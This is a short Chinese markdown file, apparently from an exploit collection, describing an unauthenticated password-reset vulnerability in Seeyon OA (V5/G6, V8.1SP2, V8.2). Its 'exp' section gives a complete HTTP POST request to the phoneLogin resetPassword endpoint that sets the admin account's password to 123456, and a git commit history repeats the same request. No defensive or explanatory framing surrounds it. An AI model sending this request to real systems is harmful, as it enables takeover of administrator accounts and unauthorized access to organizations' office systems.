%E8%87%B4%E8%BF%9COA%E5%89%8D%E5%8F%B0%E4%BB%BB%E6%84%8F%E7%94%A8%E6%88%B7%E5%AF%86%E7%A0%81%E4%BF%AE%E6%94%B9%E6%BC%8F%E6%B4%9E.md

# 致远OA前台任意用户密码修改漏洞

## 版本
```
Seeyon OA=V5/G6
Seeyon OA=V8.1SP2
Seeyon OA=V8.2
```
## exp
```
POST /seeyon/rest/phoneLogin/phoneCode/resetPassword HTTP/1.1
Host: ip
User-Agent: Go-http-client/1.1
Content-Length: 24
Content-Type: application/json
Accept-Encoding: gzip

{"loginName":"admin","password":"123456"}
```
Update and rename 致远OA密码重置漏洞.md to 致远OA前台任意用户密码修改漏洞.md 2023-09-14 17:48:16 +08:00			`# 致远OA前台任意用户密码修改漏洞`
Create 致远OA密码重置漏洞.md 2023-09-14 17:46:59 +08:00
			`## 版本`
			```
			`Seeyon OA=V5/G6`
			`Seeyon OA=V8.1SP2`
			`Seeyon OA=V8.2`
			```
			`## exp`
			```
			`POST /seeyon/rest/phoneLogin/phoneCode/resetPassword HTTP/1.1`
			`Host: ip`
			`User-Agent: Go-http-client/1.1`
			`Content-Length: 24`
			`Content-Type: application/json`
			`Accept-Encoding: gzip`

			`{"loginName":"admin","password":"123456"}`
			```